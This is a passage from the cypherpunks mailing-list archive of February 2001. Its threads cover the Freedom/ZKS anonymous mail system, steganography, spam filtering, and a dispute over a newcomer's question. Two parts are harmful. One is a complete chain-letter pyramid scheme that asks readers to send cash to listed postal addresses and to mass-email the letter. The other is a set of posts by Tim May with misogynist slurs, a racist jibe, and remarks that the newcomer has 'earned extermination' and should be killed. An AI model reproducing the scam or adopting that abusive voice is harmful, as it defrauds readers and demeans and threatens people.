be quite acceptable and allows more cover in terms of potential
originators.  We are looking at this for mail 2.1.

> Do they only broadcast real data and no masking data?

In freedom 2.0 the freedom network used fixed sized data packets at
the transport layer with end to end crypto between the user and the
exit node.  There are however other things which limit the amount of
privacy and anonymity you can get from an interactive communications
tunnel implemented on top of best effort routing, and selectively and
plausbily deniably DoSable IP.  There was discussion of this on this
list a few months back with comments from Lucky Green and Wei Dai.
These issues are discussed somewhat in "Freedom 2.0 security issues
and analysis" at the same URL as above.  

Anton Stiglic, Ulf Moeller and I have a paper submitted to the
Information Hiding Workshop which discusses these issues a little more
formally which hopefully should stimulate discussion from Lucky and
others, and hopefully encourage the crypto community to explore the
open questions we pose in the area of interactive anonymous
communications.

> And if they properly conceal data how well do they scale?  With all
> the encryption of traffic, etc. ZK's adoption by isps, etc. etc. is
> a scalability question.

The encryption is a constant factor.  Each user uses 1, 2 or 3 hops
and therefore incurs the bandwidth between those hops, and the CPU
load on those nodes to do the keyexchanges to set the link up and the
bulk encrypt and decrypt to do the end-to-end crypto, but once the key
exchange is done an entry level PC can do blowfish at 16MB/sec (there
are other overheads in the freedom nodes, but it's quite fast).  So if
you imagine going from 10 nodes to 20 nodes it can support almost
linearly more users based purely on crypto overhead.  The trickier
thing to get right is scalable topology management and scalable PKI
for the authentication of node and nym keys.

> 2. is their e-mail system really anonymous? if i were a known bad
> actor, le might be capturing data from my pc or my isp or my phone
> company directly.  why bother worming through zk networks?  

Because your data is end-to-end encrypted through the freedom cloud
tunneled through a pseudonymous tunnel?

> oh, and if someone could respond to you via your anonymous zk e-mail
> address, isn't that an instantaneous-tag-the-sender tool for le?
> Gee, let's see the recipe for this...serve zk a search warrant, map
> zk address 'A' to e-mail address 'B' and there you have it: easier
> than instant jello pudding.  Nice system for anonymizing traffic to
> companies, bad system if you're trying to get away with something
> you shouldn't.

The mail system doesn't work like penet.fi -- there is no map of nyms
to users.  Users pick up their mail pseudonymously from a mailbox in
the pseudonym name.  It's a third type of pseudonymous mail system.
In the taxonomy of cryptographically secured replyable email systems

- alpha nymserver with reply blocks (or manually maintained and
  managed reply blocks).  freedom 1.0 mail system worked like this
  also.

- freedom 2.0 mail system (pop mail account accessed via pseudonymous
  IP tunnel over anonymous IP network)

The have different properties.

- reply blocks are subpoena-able, because they are not forward secret.

- reply blocks get good cover because they rely on mixing.  But you
  can flood them and watch the flow of traffic because there is no
  replay protection as it does not make sense if people are allowed to
  send arbitrary amounts of mail.  (Mixmaster has replay protection
  but that is for sending not receiving).

- pseudonymous pop boxes have forward secrecy because all
  communications with them are forward secret and they have no
  remaining information which could identify users encrypted or
  unencrypted.

- pseudonymous pop boxes don't have distributed trust mixing, or
  delays.  usability advantage, but potential security disadvantage.
  One could envisage adding trust-the-pop-server delays, or perhaps
  alternate routing rules inside the anonymity network to have
  distributed trust mixing and delays for delivery to the mail system.
  This would a bit like using mixmaster to deliver mail.

> [...].  so i'll go out on a limb and predict now that anonymous
> email is going to be nearly impossible for them to sell to more than
> 1/2 of 1% of the world.  

Predicting privacy and anonymity system uptake is an interesting
discussion.  Do users care?  It seems that many users probably think
they are fairly anonymous and untouchable just using the internet with
no privacy tools.  Until they get snarled up in some chat room law
suit for some dubm-ass defamation suit, or whatever.  Perhaps this
will change, perhaps not.  Also general public perception of
"anonymity" and "privacy" are quite different though one is necessary
to obtain the other.  We see LEs trying to do news management and
color people's opinion of privacy.

> plus would you want to receive anonymous e-mail?

Who is "Phillip Zakas" is that a nym?  Does it matter?  What about
hotmail accounts?  Who is dave123 at hotmail.com, superman at hotmail.com,
etc.  Most email accounts for normal purposes are nyms.  So I'd
suspect in most cases the recipient simply wouldn't care or even
notice.

> 4. ZK is a commercial entity, ergo cooperation with everyone.  I'm
> sure they have IPO plans.  They claim IBM as a partner (actually IBM
> is selling them stuff, but these days anyone who sells you equipment
> is a 'partner'...I see this every day).  If a grandma in illinois is
> going to invest in their company when it goes public, is she going to
> be happy that drug dealers, stalkers and pedophiles use this network?
> I don't think so.  I'm sure there are contingency plans for
> 'revealing' activity when served with a subpeona and/or a search
> warrant.  

ZKS is about cryptographically assured privacy with "zero knowledge",
This means the systems are designed with distributed trust, which
means the threat model is that users don't have to trust ZKS.  So
clearly if they don't trust ZKS it doesn't matter what info ZKS does
or does not give to LE because ZKS does not know anything to give
them.

> 5. Is ZK a spammers tool?  If truly secure and anonymous,
> etc. etc. etc. why couldn't the spam king use it? If it is a spammers
> tool will ZK be blackholed?  

There are mail sending limits.  Currently around 250 mails per day per
nym.  Junk mailers want to send 100s of thousands per hour.  Not much
of a haven for that activity.

> I don't believe a commercial entity, especially a US-based one with
> IPO plans, can market themselves as a full anonymizing service for
> e-mail.  

ZKS is development is done in Canada.  ZKS has servers in a number of
US and European and other locations.

> I think anonymous e-mail is best achieved through a cooperative,
> non-commercial program of unaffiliated individuals (with no
> commercial worries, and lots of jurisdictions around the world), or
> by simply purchasing pre-paid internet access, or if i were a
> wealthy bad actor find a more expensive solution.

There are a number of anonymous mail systems, and combinations of
things that can be used to achieve anonymity even though they weren't
designed for it competing (commercial and non-commercial).  I'm sure
the market will decide which is used, or if the market even cares
about the whole issue.  The deciding factors will be the usual things:
tradeoffs of convenience, usability, reliability, compatibility, cost
etc.

- mixmaster (anonymous send only, no receive)
- freedom mail (pseudonymous send and receive)
- alpha nym server systems (pseudonymous send and receive -- based on
  cypherpunk remailer reply blocks)
- a bunch of penet.fi like systems (trust me send and receive
  pseudonymity) I think proxymate works like this, plus it has target
  revokable mail, which is handy.
- a bunch of "trust me" pop/smtp proxies -- seem to be just ISP like
  setups with the addition that they say "trust us not to record your
  IP address"
- privada (trust me pseudonymous send and receive with a twist -- it
  has a publicly declared spook backdoor -- carnivore enabled -- see
  their press release
  http://www.privada.com/news/releases/20000717.html)
- open access web proxies and hot mail accounts
- anonymizer.com and hot mail accounts
- anonymizer.com shell accounts which have mail I presume
- anonymizer.com shell accounts accessed via freedom network (freedom
  supports SSH) -- anonymous SSH account -- how cool is that..

All interesting stuff.

Adam

Personal opinions only, of course.




From declan at well.com  Sat Feb 10 09:16:26 2001
From: declan at well.com (Declan McCullagh)
Date: Sat, 10 Feb 2001 12:16:26 -0500
Subject: Crypto McCarthyism ...thoughts, gentlemen?
In-Reply-To: <NEBBJHBKILFDJEFIABHPIEPPCBAA.aimee.farr@pobox.com>; from aimee.farr@pobox.com on Fri, Feb 09, 2001 at 12:40:22PM -0600
References: <NEBBJHBKILFDJEFIABHPIEPPCBAA.aimee.farr@pobox.com>
Message-ID: <20010210121624.B26143@cluebot.com>


Dear Aimee,

If you're serious about asking for advice or insight, I'd self-censor
the snide comments.

This group doesn't like pointy questions? To the contrary, it thrives
on them.

-Declan


On Fri, Feb 09, 2001 at 12:40:22PM -0600, Aimee Farr wrote:
> Whatever. Somehow, I don't think this group likes pointy questions. My
> apologies for the intrusion, I return to you to your regularly scheduled
> Choatian programming, and thoughts of edible panties.
> 
> [*]appearances suggest an absence of participatory estrogen in here.
> =======================================================================


> Electronic Journal of Sociology (1996)
> mailto:aimee.farr at pobox.com
> Aimee E. Farr, Esq.
> LAW OFFICE OF AIMEE E. FARR
> 5400 Bosque, Suite 675
> Waco, Texas 76710-4418
> office: 254.751.0030
> fax: 254.751.09673
> 
> 




From eldar8 at zahav.net.il  Sat Feb 10 03:06:42 2001
From: eldar8 at zahav.net.il (aviram eldar)
Date: Sat, 10 Feb 2001 13:06:42 +0200
Subject: =?windows-1255?B?7vru6On35A==?=
Message-ID: <000a01c09351$8ed2fd40$17e108d5@euronet>


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From declan at well.com  Sat Feb 10 11:12:33 2001
From: declan at well.com (Declan McCullagh)
Date: Sat, 10 Feb 2001 14:12:33 -0500
Subject: Brit Intel Telling Tales
In-Reply-To: <3.0.5.32.20010210104459.01c8b6c0@idiom.com>; from bill.stewart@pobox.com on Sat, Feb 10, 2001 at 10:44:59AM -0800
References: <200102091951.OAA03764@maynard.mail.mindspring.net> <3A8465B8.4703EDFC@sunder.net> <3.0.5.32.20010210104459.01c8b6c0@idiom.com>
Message-ID: <20010210141232.C10763@cluebot.com>



Places where offending article has been spotted so far:
http://www.politechbot.com/p-01719.html
http://www.cluebot.com/article.pl?sid=01/02/10/1820243
http://www.well.com/~declan/mirrors/fru-walshaw.htm




On Sat, Feb 10, 2001 at 10:44:59AM -0800, Bill Stewart wrote:
> At 04:48 PM 2/9/01 -0500, Sunder wrote:
> >John Young wrote:
> > 
> >> The British government is threatening to injunct any UK
> >> publisher intending to reveal information in the file which
> >> was received from an anonymous source and names a
> >> controversial intelligence agent runner in Northern Ireland.
> >> The named officer is the center of a major investigation
> >> of orchestrated murders assisted by British intel.
> >
> >I suppose it would be too much to hope that some spammer scumbag would
> >spam that one file to all .co.uk addresses in its db as a joke....
> 
> More to the point, are there any free web page sites in the UK?
> Might as well give _them_ all copies....
> 				Thanks! 
> 					Bill
> Bill Stewart, bill.stewart at pobox.com
> PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
> 




From qcbsc35 at yahoo.com  Sat Feb 10 11:25:18 2001
From: qcbsc35 at yahoo.com (qcbsc35 at yahoo.com)
Date: Sat, 10 Feb 01 14:25:18 EST
Subject: CDR: QUICK CASH SECRET BANKING SYSTEM CAN MAKE YOU RICH!
Message-ID: <>

--PAA06584.982360041/einstein.ssz.com--




From decoy at iki.fi  Sat Feb 10 08:37:43 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Sat, 10 Feb 2001 18:37:43 +0200 (EET)
Subject: stego for the censored II
In-Reply-To: <5.0.0.25.0.20010209195320.040c2d20@pop3.lvcm.com>
Message-ID: <Pine.SOL.4.30.0102101832320.17393-100000@kruuna.Helsinki.FI>


On Fri, 9 Feb 2001, Steve Schear wrote:

>I know this has been mentioned before, but it seems to me that we should
>make use of all the great CRM watermarking technologies being
>developed.  One of the primary goals of such technology is to hide the
>watermark in such a way that it cannot be isolated from the source material
>or removed by copying or filtering without making reproduction of the
>source material unacceptably degraded.

However, methods used for watermarking et cetera are not optimized for
strict non-detection. What I mean is, they are of course meant to be
difficult to predict down to the sample level (since that would make them
easy to remove), but the presence of this sort of stego is often quite
easily verified. Especially if the algorithms are well known. This is
unacceptable in a non-watermark stego apps.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From galt at inconnu.isu.edu  Sat Feb 10 17:38:23 2001
From: galt at inconnu.isu.edu (John Galt)
Date: Sat, 10 Feb 2001 18:38:23 -0700 (MST)
Subject: well wheres the manifesto on bomb making?
In-Reply-To: <3.0.5.32.20010210015222.01c6a470@idiom.com>
Message-ID: <Pine.LNX.4.32.0102101837360.3917-100000@inconnu.isu.edu>



Admit it: it is.  Had you not quested in your youth for the perfect bowl
of hash chili, none of this would've happened...

On Sat, 10 Feb 2001, Bill Stewart wrote:

>At 11:19 PM 2/9/01 -1000, Reese wrote:
>>At 10:35 PM 2/9/01 -0800, GaryGosnell wrote:
>>>well wheres the manifesto on bomb making?
>>>
>>
>>Go to http://marthastewart.com and look for the chili recipes.
>
>Hey, it's not my *fault*!
>
>
>
>
>				Thanks!
>					Bill
>Bill Stewart, bill.stewart at pobox.com
>PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
>

-- 
There is an old saying that if a million monkeys typed on a million
keyboards for a million years, eventually all the works of Shakespeare
would be produced.   Now, thanks to Usenet, we know this is not true.

Who is John Galt?  galt at inconnu.isu.edu, that's who!





From Staff at Customers.MIT.EDU  Sat Feb 10 20:40:44 2001
From: Staff at Customers.MIT.EDU (Staff at Customers.MIT.EDU)
Date: Sat, 10 Feb 2001 20:40:44 -0800 (PST)
Subject: Very Important Information -RQPF
Message-ID: <200102110440.UAA26422@toad.com>


Dear Friends & Future Millionaire: 

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months from your home for an investment of only $25 U.S. 
Dollars expense one time 

THANK'S TO THE COMPUTER AGE AND THE INTERNET ! 
====================================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 

Before you say ''Bull'', please read the following. This is the letter you have been hearing about on the 
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=======================================================
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===== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ======== 
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$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME 
TRUE,GUARANTEED! INSTRUCTIONS: 

=====Order all 5 reports shown on the list below =====


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5.... Move the name & address in REPORT # 1 down TO REPORT # 2 

6.... Insert YOUR name & address in the REPORT # 1 Position. PLEASE MAKE SURE 
you copy every name & address ACCURATELY! 

=============================================================

**** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE 
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=============================================================
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============================================================= 
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=============================================================
Advertising on the net is very very inexpensive and there are hundreds of FREE places to advertise. 
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===========AVAILABLE REPORTS ====================

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) 
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PLACE YOUR ORDER FOR THESE REPORTS NOW : 
==========================================================
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Order Report #1 from:
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42-49 Colden St 7M
Flushing, NY 11355
USA
________________________________________________________

REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net

Order Report # 2 from: 
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730 Third St SW 
Perham, MN 56573-1111 
USA


_________________________________________________________________ 
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_________________________________________________________________ 
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________________________________________________________________ 
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Order Report # 5 From:
R. B.
Box. 21115, 
Grande Prairie 
Alberta, T8V-6W7
Canada



________________________________________________________________ 
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 

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=== If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until 
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=== Once you have received 100 or more orders for Report # 2, YOU CAN RELAX,because the system is 
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=============================================================

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information 
that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF 
EFFORT. You can make more money in the next few weeks and months than you have ever imagined. 
Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as 
it is now. 

\\\\~
Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 
and moved others to #2 ...........# 5 as instructed above. One of the people you send this to may send out 
100,000 or more e-mails and your name will be on every one of them. Remember though, the more you 
send out the more potential customers you will reach. So my friend, I have given you the ideas, 
information, materials and opportunityto become financially independent. IT IS UP TO YOU NOW ! 

======================== MORE TESTIMONIALS ===================

'' My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation 
and I make pretty good money. When I received this program I grumbled to Jody about receiving ''junk mail''. 
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thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the 
next 45 days she had received total $147,200.00 ........... all cash! I was shocked. I have joined Jody in her 
''hobby''. Mitchell Wolf M.D., Chicago, Illinois 
=============================================================
'' Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But 
conservative that I am, I decided that the initial investment was so little that there was just no way that I 
wouldn't get enough orders to at least get my money back''. '' I was surprised when I found my medium 
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this deal is that it does not matter where people live. There simply isn't a better investment with a faster 
return and so big''. Dan Sondstrom, Alberta, Canada 
============================================================= 
'' I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of 
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=============================================================
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=============================================================

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=============================================================
If you have any questions of the legality of this program, contact the Office of Associate Director for 
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From tcmay at got.net  Sat Feb 10 21:49:01 2001
From: tcmay at got.net (Tim May)
Date: Sat, 10 Feb 2001 21:49:01 -0800
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts,
 gentlemen?)
In-Reply-To: <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com>
References: <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com>
Message-ID: <a05010400b6abd6efb41f@[207.111.241.33]>


At 10:16 PM -0600 2/10/01, Aimee Farr wrote:
>
>Declan, I appreciate your bringing this matter to my attention. My sincere
>apologies to both you, the cypherpunk community and subscribers. My comments
>were tongue-in-cheek, a friendly remark regarding Choate's stealth-linkage,
>and his remarks toward women's undergarments, which I found humorous. My
>comment in regard to "pointy questions" was an attempt to give any
>respondents a wide berth in their replies, in recognition of the fact I
>could be asking the wrong questions, and was receptive of any insight.

It sounds like it may be an alien.

>It
>was also a reference the number of mysterious queries that flow across the
>list. My reference to Gentlemen was also not meant disrespectfully, but as a
>subtle query.

Bizarre.

>Nevertheless, I came across as abrasive and offended members of this forum.
>_Ladies_ & Gentlemen, you have my apologies for both my breach of decorum
>and disrespect. Such was certainly not my intention.

We should kill it before it multiplies. No human being speaks in such 
a stilted, phony way.


>You all have my admiration and respect, which is why I posed my questions to
>this distinguished group. (I am preparing to debate these issues in a
>private and hostile forum against experienced opposition. With a few notable
>exceptions, like Declan, certain viewpoints and experiences are
>under-represented in traditional source banks.)

"Captain, my source banks indicate abnormal readings. I suggest we 
disconnect immediately."


>
>Excuse my long-windedness. I am trying to convey my intent and sincerity,
>and make a public, searchable record of my disrepute, my Declan-bitchslap
>and my apology; not to make excuses for my inappropriate, and inexcusable
>behavior.

This chick can be for real. It must be another troll.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From petro at bounty.org  Sat Feb 10 22:02:52 2001
From: petro at bounty.org (petro)
Date: Sat, 10 Feb 2001 22:02:52 -0800
Subject: The Register - There are still crypto reg's...
In-Reply-To: <m2u26dtnha.fsf@squack.com>
References: <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>
 <m2u26dtnha.fsf@squack.com>
Message-ID: <p0432040db6abdb333909@[10.1.1.42]>



>In fact even Windows 95 had preemptive multitasking

	No, it didn't.

>which is absent in
>MacOS 7 and wasn't added until MacOS 8.6.

	No, it wasn't.

>From an operating system angle MacOS has been traditionally poor with
>no real process control or no real memory management (any Mac user
>will tell you the "virtual memory" system is shit) being a hacked up
>mess dating from 1984 with kludges stuck on the side.  It's
>superficially pretty but ugly under the hood.

	Which is also true of Windows.

>
>But MacOS X is based on BSD UNIX/Mach with a radical new userinterface
>and I, for one, would rather use it than NT.

	It is not a "radical" new user interface. It is the same WIMP 
interface with a lot of expensive (in terms of CPU) chrome grafted 
on.:
-- 
A quote from Petro's Archives:
**********************************************
"As someone who has worked both in private industry and in academia,
whenever I hear about academics wanting to teach ethics to people in
business, I want to puke."--Thomas Sowell.




From aimee.farr at pobox.com  Sat Feb 10 20:16:01 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Sat, 10 Feb 2001 22:16:01 -0600
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts, gentlemen?)
In-Reply-To: <20010210121624.B26143@cluebot.com>
Message-ID: <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com>


> Dear Aimee,
>
> If you're serious about asking for advice or insight, I'd self-censor
> the snide comments.
>
> This group doesn't like pointy questions? To the contrary, it thrives
> on them.
>
> -Declan

Declan, I appreciate your bringing this matter to my attention. My sincere
apologies to both you, the cypherpunk community and subscribers. My comments
were tongue-in-cheek, a friendly remark regarding Choate's stealth-linkage,
and his remarks toward women's undergarments, which I found humorous. My
comment in regard to "pointy questions" was an attempt to give any
respondents a wide berth in their replies, in recognition of the fact I
could be asking the wrong questions, and was receptive of any insight. It
was also a reference the number of mysterious queries that flow across the
list. My reference to Gentlemen was also not meant disrespectfully, but as a
subtle query.

Nevertheless, I came across as abrasive and offended members of this forum.
_Ladies_ & Gentlemen, you have my apologies for both my breach of decorum
and disrespect. Such was certainly not my intention. I stand firmly
reprimanded for my hasteful correspondence: [SUBJ: CRYPTO
McCARTHYISM...THOUGHTS, GENTLEMEN?]

You all have my admiration and respect, which is why I posed my questions to
this distinguished group. (I am preparing to debate these issues in a
private and hostile forum against experienced opposition. With a few notable
exceptions, like Declan, certain viewpoints and experiences are
under-represented in traditional source banks.)

Excuse my long-windedness. I am trying to convey my intent and sincerity,
and make a public, searchable record of my disrepute, my Declan-bitchslap
and my apology; not to make excuses for my inappropriate, and inexcusable
behavior.

Most sincerely,

mailto:aimee.farr at pobox.com
Aimee E. Farr
Law Office Of Aimee E. Farr
5400 Bosque, Suite 675
Waco, Texas 76710-4418
254.751.0030 | 751.0963(fax)




From tcmay at got.net  Sat Feb 10 22:34:22 2001
From: tcmay at got.net (Tim May)
Date: Sat, 10 Feb 2001 22:34:22 -0800
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts,  
 gentlemen?)
In-Reply-To: <5.0.2.1.0.20010211005429.02471d80@mail.well.com>
References: <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com>
 <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com>
 <5.0.2.1.0.20010211005429.02471d80@mail.well.com>
Message-ID: <a05010401b6abe1e14689@[207.111.241.145]>


At 1:03 AM -0500 2/11/01, Declan McCullagh wrote:
>At 09:49 PM 2/10/01 -0800, Tim May wrote:
>>>Nevertheless, I came across as abrasive and offended members of this forum.
>>>_Ladies_ & Gentlemen, you have my apologies for both my breach of decorum
>>>and disrespect. Such was certainly not my intention.
>>
>>We should kill it before it multiplies. No human being speaks in 
>>such a stilted, phony way.
>[...]
>>This chick can be for real. It must be another troll.
>
>Hmm. I just responded to Aimee's message, and so I may have just 
>been trolled.  But I rise to the defense of human sentience here: I 
>don't think an AI would have bothered to ask us about such an inane 
>sociological tract...
>
>Another theory is that Aimee actually thinks that all cypherpunks 
>subscribers are pleasant, decent, and reasonable people who should 
>be treated politely. I'm sure folks -- is Choate around? -- will 
>disabuse her of this notion straightaway.

On my planet, people talk to each other in a pleasant, decent, and 
reasonable way by actually _talking_ to them. That is, by listening, 
responding, making points, etc. In particular, when the arrive on new 
lists they spend a few days determining who is who and what is what.

They don't spew stilted jargon to lists which they are new to.

I still vote that we find our where it lives and kill it before it multiplies.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From tcmay at got.net  Sat Feb 10 22:44:53 2001
From: tcmay at got.net (Tim May)
Date: Sat, 10 Feb 2001 22:44:53 -0800
Subject: Crypto McCarthyism ...thoughts, gentlemen?
In-Reply-To: <NEBBJHBKILFDJEFIABHPIEPPCBAA.aimee.farr@pobox.com>
References: <NEBBJHBKILFDJEFIABHPIEPPCBAA.aimee.farr@pobox.com>
Message-ID: <a05010402b6abe47de35a@[207.111.241.145]>


At 12:40 PM -0600 2/9/01, Aimee Farr wrote:
>Gentlemen[*]:
>
>[*]appearances suggest an absence of participatory estrogen in here.

Females are free to join this list. Some have joined in the past.

"On the Internet, no one knows you're a bitch."

Sorry that you think our list is lacking in "participatory estrogen."

But, then, you're probably the type to complain to about what you 
perceive as domination by whitemales. Tell you what, sistah, teach 
the brothers to read and maybe in 15 years we'll have more "posters 
of color."

Frankly, folks like you have earned extermination. Strong crypto will 
make this possible.



--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From declan at well.com  Sat Feb 10 20:22:49 2001
From: declan at well.com (Declan McCullagh)
Date: Sat, 10 Feb 2001 23:22:49 -0500
Subject: cope with spam..
In-Reply-To: <09L72I3136928.8604976852@frog.nyarlatheotep.org>; from FrogRemailer@NoReply.Invalid on Tue, Feb 06, 2001 at 07:39:07PM -0000
References: <09L72I3136928.8604976852@frog.nyarlatheotep.org>
Message-ID: <20010210232249.A31616@cluebot.com>


Do some searches for procmail AND spam. I'm thinking of using
an anti-spambot on my well.com account.

-Declan


On Tue, Feb 06, 2001 at 07:39:07PM -0000, Frog2 wrote:
> Helloo..
> 
> How do the people here cope with all the spam.. really?
> Any tips for filtering out all garbage?
> 
> //
> 
> 
> 




From declan at well.com  Sat Feb 10 21:35:57 2001
From: declan at well.com (Declan McCullagh)
Date: Sun, 11 Feb 2001 00:35:57 -0500
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts,
  gentlemen?)
In-Reply-To: <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com>
References: <20010210121624.B26143@cluebot.com>
Message-ID: <5.0.2.1.0.20010210232213.02481090@mail.well.com>


Well, that's about as nice an apology as I've ever seen on any list, let 
alone cypherpunks. Aimee's initial message deserves a response. (BTW there 
is a real Waco, Texas lawyer named Aimee Farr who is interested in these 
issues, though naturally we can't be certain our correspondent is that person.)

She asks for our thoughts on this:
http://www.sociology.org/content/vol002.001/ling.html

Not only is it an uninteresting sociology treatise, but it is a bad 
uninteresting sociology treatise. The first thing to note, of course, 
beyond its unnecessary jargon, is that the article is about as wrong as 
could be. Far from any "boundary crisis" leading to "mass hate," society 
has instead adopted and then accepted the Internet. It's difficult to be 
repulsed by something when you use it to share baby pictures with grandparents.

One could argue that the article was correct at the time. The article 
appears to have been written during in 1996, around the time the CDA became 
law, but even then it was a year after the Time magazine cyberscare, and 
two years after the CDA was introduced: Cyberporn was old news. Identifying 
fundamental truths is the mark of good research, and this paper comes up 
sadly lacking.

Since the paper is so flawed, I'm not sure it's worth discussing at length. 
But, briefly, is crypto as threatening as witches were? Far from it. It -- 
and its derivative technologies, such as anonymity -- seems to be perceived 
more as a way to reclaim lost privacy rather than a new and unusual threat. 
In that sense, it is a conservative technology. (This could change, and 
certainly the intelligence community is hand-waving about terrorists again, 
but I doubt it'll have much luck.)

-Declan

At 10:16 PM 2/10/01 -0600, Aimee Farr wrote:
> > Dear Aimee,
> >
> > If you're serious about asking for advice or insight, I'd self-censor
> > the snide comments.
> >
> > This group doesn't like pointy questions? To the contrary, it thrives
> > on them.
> >
> > -Declan
>
>Declan, I appreciate your bringing this matter to my attention. My sincere
>apologies to both you, the cypherpunk community and subscribers. My comments
>were tongue-in-cheek, a friendly remark regarding Choate's stealth-linkage,
>and his remarks toward women's undergarments, which I found humorous. My
>comment in regard to "pointy questions" was an attempt to give any
>respondents a wide berth in their replies, in recognition of the fact I
>could be asking the wrong questions, and was receptive of any insight. It
>was also a reference the number of mysterious queries that flow across the
>list. My reference to Gentlemen was also not meant disrespectfully, but as a
>subtle query.
>
>Nevertheless, I came across as abrasive and offended members of this forum.
>_Ladies_ & Gentlemen, you have my apologies for both my breach of decorum
>and disrespect. Such was certainly not my intention. I stand firmly
>reprimanded for my hasteful correspondence: [SUBJ: CRYPTO
>McCARTHYISM...THOUGHTS, GENTLEMEN?]
>
>You all have my admiration and respect, which is why I posed my questions to
>this distinguished group. (I am preparing to debate these issues in a
>private and hostile forum against experienced opposition. With a few notable
>exceptions, like Declan, certain viewpoints and experiences are
>under-represented in traditional source banks.)
>
>Excuse my long-windedness. I am trying to convey my intent and sincerity,
>and make a public, searchable record of my disrepute, my Declan-bitchslap
>and my apology; not to make excuses for my inappropriate, and inexcusable
>behavior.
>
>Most sincerely,
>
>mailto:aimee.farr at pobox.com
>Aimee E. Farr
>Law Office Of Aimee E. Farr
>5400 Bosque, Suite 675
>Waco, Texas 76710-4418
>254.751.0030 | 751.0963(fax)




From alan at clueserver.org  Sun Feb 11 00:38:50 2001
From: alan at clueserver.org (Alan Olsen)
Date: Sun, 11 Feb 2001 00:38:50 -0800 (PST)
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts,  gentlemen?)
In-Reply-To: <5.0.2.1.0.20010210232213.02481090@mail.well.com>
Message-ID: <Pine.LNX.4.10.10102110035170.20634-100000@clueserver.org>


On Sun, 11 Feb 2001, Declan McCullagh wrote:

> Since the paper is so flawed, I'm not sure it's worth discussing at length. 
> But, briefly, is crypto as threatening as witches were? Far from it. It -- 
> and its derivative technologies, such as anonymity -- seems to be perceived 
> more as a way to reclaim lost privacy rather than a new and unusual threat. 
> In that sense, it is a conservative technology. (This could change, and 
> certainly the intelligence community is hand-waving about terrorists again, 
> but I doubt it'll have much luck.)

They seem to be having trouble putting the crypto kitten back in the
bottle.

I wonder who is doing more damage to America's image abroad and at home.

Terrorists or the various TLAs.

I think the TLAs are ahead on this one.  We will know that they have won
this particular contest when Jay leno starts making jokes about the
absurdity of their boogieman of the day.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From declan at well.com  Sat Feb 10 22:03:31 2001
From: declan at well.com (Declan McCullagh)
Date: Sun, 11 Feb 2001 01:03:31 -0500
Subject: Formal apology  (RE: Crypto McCarthyism ...thoughts,
  gentlemen?)
In-Reply-To: <a05010400b6abd6efb41f@[207.111.241.33]>
References: <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com>
 <NEBBJHBKILFDJEFIABHPOEBNCCAA.aimee.farr@pobox.com>
Message-ID: <5.0.2.1.0.20010211005429.02471d80@mail.well.com>


At 09:49 PM 2/10/01 -0800, Tim May wrote:
>>Nevertheless, I came across as abrasive and offended members of this forum.
>>_Ladies_ & Gentlemen, you have my apologies for both my breach of decorum
>>and disrespect. Such was certainly not my intention.
>
>We should kill it before it multiplies. No human being speaks in such a 
>stilted, phony way.
[...]
>This chick can be for real. It must be another troll.

Hmm. I just responded to Aimee's message, and so I may have just been 
trolled.  But I rise to the defense of human sentience here: I don't think 
an AI would have bothered to ask us about such an inane sociological tract...

